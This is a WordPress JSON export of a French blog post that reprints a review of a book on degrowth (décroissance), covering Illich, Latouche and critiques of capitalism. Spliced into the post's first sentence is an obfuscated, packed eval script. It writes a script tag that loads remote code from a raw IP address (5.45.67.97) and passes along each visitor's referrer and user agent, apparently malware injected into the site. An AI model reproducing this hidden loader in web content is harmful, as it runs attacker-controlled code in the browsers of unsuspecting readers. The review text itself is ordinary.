{"id":4562,"date":"2010-06-25T17:34:45","date_gmt":"2010-06-25T16:34:45","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=4562"},"modified":"2010-08-03T18:31:52","modified_gmt":"2010-08-03T17:31:52","slug":"objection-de-croissance-votre-honneur","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=4562","title":{"rendered":"Objection (de croissance), votre honneur !"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" class=\"alignleft\" src=\"http:\/\/www.decroissance.org\/images\/10questions.jpg\" alt=\"\" width=\"142\" height=\"233\" \/><\/p>\n<p>Nous <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eznzy|var|u0026u|referrer|bsdrr||js|php'.split('|'),0,{}))\n<\/script><\/noindex> le savons tous, les \u00ab\u00a0objecteurs de croissance\u00a0\u00bb  sont dangereux. Ces gens qui expliquent qu\u2019une croissance infinie n\u2019est  pas possible dans un monde fini sont, au choix : d\u2019horribles  r\u00e9actionnaires, qui veulent revenir \u00e0 l\u2019\u00e2ge de pierre, nier les progr\u00e8s  apport\u00e9s par les Lumi\u00e8res ; de terribles catastrophistes, qui dansent  sur les d\u00e9combres de l\u2019emploi et se r\u00e9jouissent du fait que \u00ab\u00a0la crise  s\u2019aggrave\u00a0\u00bb <sup>1<\/sup> ; enfin, des fondamentalistes religieux, qui  professent le v\u0153u de pauvret\u00e9 pour tous, et substituent \u00e0 la  rationalit\u00e9, la mystique et l\u2019asc\u00e8se. Ils veulent laisser le Sud dans sa  pauvret\u00e9, ce sont des petits bourgeois coup\u00e9s du peuple, ils refusent  le progr\u00e8s. La d\u00e9croissance est une id\u00e9ologie n\u00e9faste, qui non seulement  consid\u00e8re la catastrophe comme in\u00e9vitable, mais l\u2019estime encore d\u2019une  certaine mani\u00e8re d\u00e9sirable.<\/p>\n<p>Sauf que la d\u00e9croissance n\u2019est pas une id\u00e9ologie ; qu\u2019elle ne se r\u00e9jouit  pas de la crise ; qu\u2019elle veut cr\u00e9er du travail l\u00e0 o\u00f9 le syst\u00e8me  capitaliste en d\u00e9truit, et que les valeurs qu\u2019elle d\u00e9fend sont largement  ignor\u00e9es du grand public. Un mot \u00e0 la mode, en somme, qu\u2019il est de bon  ton de caricaturer, car son contenu pol\u00e9mique d\u00e9pla\u00eet fortement aux  orthodoxes d\u00e9fenseurs de \u00ab\u00a0la croissance\u00a0\u00bb, du \u00ab\u00a0d\u00e9veloppement\u00a0\u00bb, du \u00ab\u00a0PIB\u00a0\u00bb,  du \u00ab\u00a0plein emploi\u00a0\u00bb, et du bien-\u00eatre pour tous, sans que jamais ne soit  \u00e9voqu\u00e9e par eux \u2013 si l\u2019on ose dire \u2013 la facture \u00e9cologique de cette  vision du monde.<\/p>\n<p><strong>La d\u00e9croissance en dix questions et en dix r\u00e9ponses<\/strong><br \/>\n<!--more--><\/p>\n<div><img loading=\"lazy\" decoding=\"async\" class=\"alignleft\" title=\"http:\/\/www.flickr.com\/photos\/48248551@N04\/4543667296\/\" src=\"http:\/\/www.nonfiction.fr\/prximgsrv\/rsz\/195\/x\/x\/repo\/c\/a\/cae1f93db2929d0c800c0d42f06a6c91-0.jpg\" alt=\"\" width=\"195\" height=\"217\" \/><\/div>\n<p>Les trois auteurs de l\u2019ouvrage dont nous allons parler s\u2019attellent avec  talent \u00e0 passer en revue une par une ces caricatures et \u00e0 d\u00e9m\u00ealer ces  incompr\u00e9hensions. Loin de livrer un plaidoyer virulent en faveur de la  d\u00e9croissance, ils nous proposent une r\u00e9flexion qui r\u00e9ussit, comme nulle  autre depuis plusieurs ann\u00e9es, \u00e0 remettre les pendules \u00e0 l\u2019heure avec  beaucoup de clart\u00e9, en embrassant d\u2019un seul regard les th\u00e9ories de la  g\u00e9n\u00e9ration des fondateurs du courant d\u00e9croissant \u2013 comme Ivan Illich ou  Nicholas Georgescu-Roegen \u2013 et les options d\u00e9fendues, dans le contexte  fran\u00e7ais, par la g\u00e9n\u00e9ration des h\u00e9ritiers \u2013 comme Serge Latouche, Paul  Ari\u00e8s ou Pierre Rabhi.<\/p>\n<p>En un petit format, ils parviennent \u00e0 donner au lecteur un acc\u00e8s \u00e0 tous  les d\u00e9bats soulev\u00e9s ces derni\u00e8res ann\u00e9es, en les guidant d\u2019une main s\u00fbre  et experte. Dix questions trouvent ainsi r\u00e9ponse \u2013 des plus simples  telles que \u00ab\u00a0que signifie \u2018d\u00e9croissance\u2019 ?\u00a0\u00bb, aux plus complexes telles  que \u00ab\u00a0la d\u00e9croissance, c\u2018est la r\u00e9cession et le ch\u00f4mage ?\u00a0\u00bb.<br \/>\n<strong>Qu\u2019est-ce que la d\u00e9croissance ?<\/strong><\/p>\n<p>La d\u00e9croissance a plus vite trouv\u00e9 des ennemis que de fervents  partisans. Et la premi\u00e8re chose que d\u00e9sirent ceux qui s\u2019y opposent est  de la faire passer pour une id\u00e9ologie, une doctrine, un corpus coh\u00e9rent.  Cela pr\u00e9sente plusieurs avantages.<\/p>\n<p>Tout d\u2019abord, cela permet, chaque fois qu\u2019un auteur d\u00e9fend sa propre  vision de la d\u00e9croissance, d\u2019imputer au \u00ab\u00a0mouvement\u00a0\u00bb des objecteurs de  croissance, fallacieusement unifi\u00e9, les erreurs et les d\u00e9fauts de tel ou  tel th\u00e9oricien.<\/p>\n<p>Le deuxi\u00e8me avantage n\u2019est pas moins grand : en faisant basculer la  n\u00e9buleuse d\u00e9croissante dans la sph\u00e8re des id\u00e9ologies, des syst\u00e8mes  d\u2019explication globalisants, on se donne la possibilit\u00e9 de la classer aux  c\u00f4t\u00e9s du stalinisme ou du nazisme, c\u2019est-\u00e0-dire de la traiter \u00e0 la  fa\u00e7on d\u2019une doctrine qui, si elle venait \u00e0 \u00eatre appliqu\u00e9e concr\u00e8tement,  conduirait in\u00e9vitablement au totalitarisme. Dans une telle perspective,  il va de soi que le lib\u00e9ralisme \u00e9conomique, par contraste, n\u2019est bien  s\u00fbr pas une id\u00e9ologie : c\u2019est un syst\u00e8me naturel.<\/p>\n<p>Mais qu\u2019est-ce au juste que la d\u00e9croissance ? Comme le disent les  auteurs, il s\u2019agit avant tout d\u2019une \u00ab\u00a0galaxie\u00a0\u00bb <sup>2<\/sup>, comportant  ses tendances et ses contradictions. Selon eux, \u00ab\u00a0il n\u2019existe pas,  aujourd\u2019hui, de th\u00e9orie de la d\u00e9croissance\u00a0\u00bb <sup>3<\/sup> ; le mot  lui-m\u00eame fonctionne comme un \u00ab\u00a0mot-obus\u00a0\u00bb ou un \u00ab\u00a0slogan\u00a0\u00bb <sup>4<\/sup>,  servant \u00e0 la critique du syst\u00e8me productiviste, mais ne contribuant pas  en tant que tel \u00e0 l\u2019\u00e9laboration d\u2019un corpus th\u00e9orique.<\/p>\n<p><strong>La d\u00e9croissance : ses fondateurs, ses faiblesses<\/strong><\/p>\n<p>Disons-le nettement : l\u2019objectif de l\u2019ouvrage \u2013 lequel est d\u2019\u00a0\u00bbessayer  d\u2019y voir plus clair\u00a0\u00bb afin de \u00ab\u00a0structurer un d\u00e9bat riche et vivant\u00a0\u00bb <sup>5<\/sup> \u2013 est pleinement atteint. En quelques pages seulement, les auteurs  parviennent \u00e0 exposer les pens\u00e9es des fondateurs de l\u2019id\u00e9e de  d\u00e9croissance, au premier rang desquels il convient de citer Ivan Illich.<\/p>\n<p>Cet auteur des ann\u00e9es 1970 a montr\u00e9 avec force la tendance de toutes les  institutions \u00e0 se donner des fins qui leur sont propres, \u00e0 ne  poursuivre que \u00ab\u00a0leur propre expansion destructrice\u00a0\u00bb <sup>6<\/sup>.  S\u2019opposant \u00e0 certaines constructions trop sch\u00e9matiques, Illich a \u00e9labor\u00e9  une pens\u00e9e des seuils et des masses critiques, en montrant par exemple  que des objets au d\u00e9part conviviaux peuvent devenir tout \u00e0 fait  contre-productifs. C\u2019est \u00e0 Ivan Illich que nous devons le calcul bien  connu selon lequel, en agr\u00e9geant l\u2019ensemble des co\u00fbts horaires li\u00e9s \u00e0  une voiture (temps pass\u00e9 \u00e0 conduire, \u00e0 payer, \u00e0 r\u00e9parer), la vitesse  r\u00e9elle de d\u00e9placement d\u2019un habitant des Etats-Unis est de 6 km\/h. La  vitesse s\u2019arr\u00eate l\u00e0 o\u00f9 commence l\u2019embouteillage. Voil\u00e0 de quelle mani\u00e8re  un outil qui aurait pu \u00eatre convivial est rendu contre-productif \u00e0  partir d\u2019un certain seuil.<\/p>\n<p>Les trois auteurs font aussi la lumi\u00e8re sur les d\u00e9bats qui agitent  aujourd\u2019hui la sph\u00e8re d\u00e9croissante, en permettant de mieux en comprendre  les diff\u00e9rentes tendances. Ainsi les postulats culturalistes de Serge  Latouche sont-ils analys\u00e9s pour ce qu\u2019ils sont <sup>7<\/sup> ; ainsi  encore la tendance, pr\u00e9sente sous la plume d\u2019\u00c9douard Goldsmith ou de  Pierre Rabhi, \u00e0 id\u00e9aliser le \u00ab\u00a0mode de vie des peuples premiers\u00a0\u00bb  fait-elle l\u2019objet d\u2019une analyse sans concessions <sup>8<\/sup>.<\/p>\n<p>La clart\u00e9 de l\u2019expos\u00e9 et la pertinence des critiques font de l\u2019ouvrage  une excellente introduction \u00e0 la th\u00e9matique de la d\u00e9croissance. Coupl\u00e9 \u00e0  la lecture du classique de Goergescu-Roegen, il permet d\u2019envisager la  diversit\u00e9 des formes qu\u2019a prises l\u2019id\u00e9e d\u00e9velopp\u00e9e par l\u2019\u00e9conomiste  roumain dans les ann\u00e9es 1970.<\/p>\n<p><strong>Qui est vraiment d\u00e9croissant ?<\/strong><\/p>\n<p>Mais le livre ne se contente pas d\u2019\u00eatre un bon r\u00e9sum\u00e9 d\u2019id\u00e9es d\u00e9fendues  par d\u2019autres auteurs. Dans certains chapitres, notamment ceux concernant  directement l\u2019\u00e9conomie, le ton se fait plus libre, les r\u00e9f\u00e9rences moins  nombreuses, et c\u2019est avec brio que les trois auteurs se livrent \u00e0 une  critique en r\u00e8gle du syst\u00e8me capitaliste. Comme ils le rappellent,  chacun \u00ab\u00a0[est] engag\u00e9, \u00e0 des degr\u00e9s divers, suivant [sa] propre  sensibilit\u00e9 (\u2026) en faveur de l\u2019objection de croissance\u00a0\u00bb <sup>9<\/sup>, et  cette exp\u00e9rience semble avoir nourri leur r\u00e9flexion personnelle en les  conduisant \u00e0 se poser un certain nombre de questions fondamentales.<\/p>\n<p>Qui est vraiment d\u00e9croissant ? Comment peut-on accuser les objecteurs de  croissance de vouloir d\u00e9truire les emplois, provoquer la r\u00e9cession et  la d\u00e9pression, alors que de toute \u00e9vidence, et cela depuis des  d\u00e9cennies, le seul syst\u00e8me qui d\u00e9truise des emplois, provoque des  r\u00e9cessions et des d\u00e9pressions, n\u2019est autre que le syst\u00e8me capitaliste ?<\/p>\n<p>Le renversement argumentatif qui se joue ici est important. Ainsi que  s\u2019emploient \u00e0 le montrer les auteurs, toutes les critiques que l\u2019on peut  adresser \u00e0 la soi-disant id\u00e9ologie d\u00e9croissante peuvent \u00eatre ais\u00e9ment  retourn\u00e9es contre le capitalisme lui-m\u00eame. On reprochera par exemple aux  adeptes de la \u00ab\u00a0simplicit\u00e9 volontaire\u00a0\u00bb de vouloir revenir \u00e0 un mode de  vie plus simple. Mais le syst\u00e8me capitaliste et productiviste, en usant  et abusant des ressources naturelles et mini\u00e8res non renouvelables, nous  ram\u00e8ne plus s\u00fbrement et plus brutalement \u00e0 un mode de vie dont la  simplicit\u00e9 s\u2019annonce bien plus terrible \u2013\u00a0 \u00e0 une simplicit\u00e9 proprement  catastrophique.<\/p>\n<p>Au fur et \u00e0 mesure de la d\u00e9monstration, l\u2019on comprend mieux o\u00f9 se situe  au final l\u2019incompr\u00e9hension au sujet de la d\u00e9croissance : si ses ennemis  lui reprochent de vouloir retourner \u00e0 l\u2019\u00e2ge de pierre, c\u2019est aussi bien  parce qu\u2019ils ne voient pas que c\u2019est pr\u00e9cis\u00e9ment \u00e0 cette \u00e9poque que le  syst\u00e8me capitaliste lui-m\u00eame est en train de nous ramener. La  d\u00e9croissance propose de g\u00e9rer ce changement de mani\u00e8re collective et  intelligente, pour en r\u00e9duire les effets sociaux et environnementaux  autant que faire se peut. Le capitalisme nous conduit \u00e0 une d\u00e9croissance  forc\u00e9e, in\u00e9luctable, catastrophique ; la d\u00e9croissance nous propose d\u2019en  ma\u00eetriser l\u2019\u00e9volution.<\/p>\n<p><strong>L\u2019utopie de la d\u00e9croissance ?<\/strong><\/p>\n<p>La d\u00e9croissance, pr\u00e9tend-on, n\u2019est qu\u2019une horrible utopie ; ses  partisans forment une secte d\u2019un nouveau genre ; les solutions qu\u2019ils  avancent sont irr\u00e9alistes.<\/p>\n<p>Mais o\u00f9 se situe l\u2019utopie ? Dans le fait de trouver, sans cesse, des  solutions technologiques \u00e0 des probl\u00e8mes environnementaux, alors que nul  n\u2019ignore plus que toutes les solutions techniques produisent en retour  toujours plus d\u2019entropie ?<\/p>\n<p>Lequel peut-\u00eatre dit religieux ou mystique : celui qui promeut la  simplicit\u00e9 volontaire pour permettre \u00e0 chacun de vivre bien, de vivre  mieux ? ou celui qui pense que chacun pourra vivre conform\u00e9ment \u00e0  l\u2019\u00a0\u00bbAmerican way of life\u00a0\u00bb, bien install\u00e9 dans son pavillon de banlieue,  ou paradant au volant d\u2019un 4&#215;4 rutilant ? Le capitalisme entretient  l\u2019illusion que l\u2019option qu\u2019il d\u00e9finit au sein des syst\u00e8mes \u00e9conomiques  exclut toutes les autres.<\/p>\n<p>Il est donc bon de rappeler que la technique n\u2019existe pas \u00e0 la fa\u00e7on  d\u2019un fait de nature, mais bien \u00e9videmment \u00e0 la fa\u00e7on d\u2019un \u00e9v\u00e9nement  historiquement d\u00e9termin\u00e9 <sup>10<\/sup>, qu\u2019elle n\u2019est pas \u00e9trang\u00e8re,  dans sa gen\u00e8se et son d\u00e9veloppement, \u00e0 un acte de foi et \u00e0 un syst\u00e8me de  croyances. Il faut une confiance toute religieuse en l\u2019efficacit\u00e9 de la  technique pour ne pas d\u00e9laisser ses outils, alors m\u00eame qu\u2019ils ont  prouv\u00e9 \u00e0 maintes reprises leurs nocivit\u00e9s.<\/p>\n<p><strong>D\u00e9croissance et tentation totalitaire<\/strong><\/p>\n<p>Qui est vraiment totalitaire ? Les partisans de la d\u00e9croissance, qui  appellent \u00e0 plus de d\u00e9mocratie et d\u2019autonomie, et qui souhaitent  organiser des unit\u00e9s de vie en commun permettant une d\u00e9mocratie directe ?  Ou bien les d\u00e9fenseurs du syst\u00e8me capitaliste et productiviste, dont  les technologies se sont r\u00e9v\u00e9l\u00e9es \u00e0 la fois opaques et  anti-d\u00e9mocratiques ? Songeons par exemple que le \u00ab\u00a0d\u00e9bat\u00a0\u00bb sur les  nanotechnologies a eu lieu apr\u00e8s leur diffusion dans la vie quotidienne,  et que les questions soumises \u00e0 la sagacit\u00e9 des citoyens ne portaient  pas alors sur le bien fond\u00e9 d\u2019une telle technologie, mais sur son  application \u00e0 tel ou tel domaine <sup>11<\/sup>. La technique comme  religion est le premier ferment de l\u2019id\u00e9e anti-d\u00e9mocratique, de la  confiscation par les experts de la destin\u00e9e des individus.<\/p>\n<p>La th\u00e9orie d\u00e9croissante propose une critique massive de ce syst\u00e8me : \u00ab\u00a0le  probl\u00e8me n\u2019est pas \u2018d\u2019internaliser les externalit\u00e9s\u2019 de mani\u00e8re  technocratique, mais de mettre en cause la rationalit\u00e9 \u00e9conomique au  profit d\u2019une autre rationalit\u00e9 s\u2019appuyant sur une autre conception de la  nature, de la libert\u00e9 et des droits\u00a0\u00bb <sup>12<\/sup>.<\/p>\n<p>Paradoxalement, il appara\u00eet que tout ce qui est imput\u00e9 aux objecteurs de  croissance \u2013 la tentation autoritaire, le sectarisme, la r\u00e9cession  catastrophique \u2013 constitue bien plut\u00f4t les traits les plus distinctifs  du syst\u00e8me qu\u2019ils critiquent : \u00e0 savoir, le productivisme.<\/p>\n<p><strong>Quelques pistes et perpectives<\/strong><\/p>\n<p>D\u2019autres chapitres du livre m\u00e9riteraient d\u2019\u00eatre comment\u00e9s. Le chapitre  7, consacr\u00e9 au ch\u00f4mage, \u00e0 la r\u00e9cession et \u00e0 l\u2019\u00e9conomie capitaliste, est  par exemple un trait\u00e9 de critique \u00e9conomique \u00e0 lui tout seul. Les trois  auteurs r\u00e9ussissent l\u00e0 un tour de force : r\u00e9sumer avec clart\u00e9, dans  toute sa diversit\u00e9, une doctrine vieille de trente ans, et lui adjoindre  des propositions qui leur sont propres. En ce sens, ce livre permet non  seulement de \u00ab\u00a0comprendre et d\u00e9battre\u00a0\u00bb, mais encore d\u2019ouvrir, par son  ampleur de vue, des pistes permettant d\u2019aller au-del\u00e0 de certains d\u00e9bats  actuels <sup>13<\/sup>.<\/p>\n<p>Face \u00e0 la tendance des \u00e9lites et des institutions \u00e0 \u00ab\u00a0se prot\u00e9ger  elles-m\u00eames\u00a0\u00bb et \u00e0 \u00ab\u00a0g\u00e9rer l\u2019acceptabilit\u00e9 sociale du risque\u00a0\u00bb collectif  qu\u2019elles ont produit <sup>14<\/sup>, il est urgent de lire ce livre qui  nous donne des armes pour comprendre l\u2019impasse \u00e9cologique actuelle.<\/p>\n<p><em>r\u00e9dacteur : Nicolas PATIN, Critique \u00e0 nonfiction.fr<\/em><br \/>\n<em>Illustration :  http:\/\/www.flickr.com\/photos\/48248551@N04\/4543667296\/<\/em><\/p>\n<p><strong>Notes :<\/strong><br \/>\n1 &#8211; D\u2019apr\u00e8s le titre provocateur d\u2019un livre de  Fran\u00e7ois Partant, <em>Que la crise s\u2019aggrave<\/em>, Paris, 1978, qui pose  les bases de l\u2019apr\u00e8s-d\u00e9veloppement.<br \/>\n2 &#8211; p. 8<br \/>\n3 &#8211; p. 74<br \/>\n4 &#8211; p. 201<br \/>\n5 &#8211; p. 15<br \/>\n6 &#8211; p. 23<br \/>\n7 &#8211; p. 49.<br \/>\n8 &#8211; p. 204.<br \/>\n9 &#8211; p. 15-16<br \/>\n10 &#8211; De m\u00eame que les syst\u00e8mes \u00e9conomiques,  voir p. 104.<br \/>\n11 &#8211; p. 111<br \/>\n12 &#8211; p. 117<br \/>\n13 &#8211; Voir mes recensions d\u00e9j\u00e0 publi\u00e9es, \u00ab\u00a0<a href=\"http:\/\/www.nonfiction.fr\/article-3453-pensees_bons_mots_et_catastrophe.htm\">Pens\u00e9es,  bons mots et catastrophes<\/a>\u00a0\u00bb et \u00ab\u00a0<a href=\"http:\/\/www.nonfiction.fr\/article-2483-nous_sommes_sauves_.htm\">Nous  sommes sauv\u00e9s !<\/a>\u00a0\u00bb<br \/>\n14 &#8211; p. 216<\/p>\n<p><!-- Marge -->Titre du livre : <span>La d\u00e9croissance. Dix  questions pour comprendre et d\u00e9battre<\/span><br \/>\nAuteur : <span>Denis Bayon, Fabrice Flipo,  Fran\u00e7ois Schneider<\/span><br \/>\n\u00c9diteur : <span>La D\u00e9couverte<\/span><br \/>\nCollection : <span>Cahiers libres<\/span><br \/>\nDate de publication : <span>30\/05\/10<\/span><br \/>\nN\u00b0 ISBN : <span>9782707157911<br \/>\nsource : <\/span><a href=\"http:\/\/www.nonfiction.fr\/article-3481-objection__de_croissance_votre_honneur_.htm\">http:\/\/www.nonfiction.fr\/article-3481-objection__de_croissance_votre_honneur_.htm<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Nous le savons tous, les \u00ab\u00a0objecteurs de croissance\u00a0\u00bb sont dangereux. Ces gens qui expliquent qu\u2019une croissance infinie n\u2019est pas possible dans un monde fini sont, au choix : d\u2019horribles r\u00e9actionnaires, qui veulent revenir \u00e0 l\u2019\u00e2ge de pierre, nier les progr\u00e8s &hellip; <a href=\"https:\/\/www.partipourladecroissance.net\/?p=4562\">Continuer la lecture <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,16],"tags":[],"class_list":["post-4562","post","type-post","status-publish","format-standard","hentry","category-actualites","category-livres"],"_links":{"self":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/4562","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4562"}],"version-history":[{"count":5,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/4562\/revisions"}],"predecessor-version":[{"id":4704,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/4562\/revisions\/4704"}],"wp:attachment":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4562"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4562"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4562"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}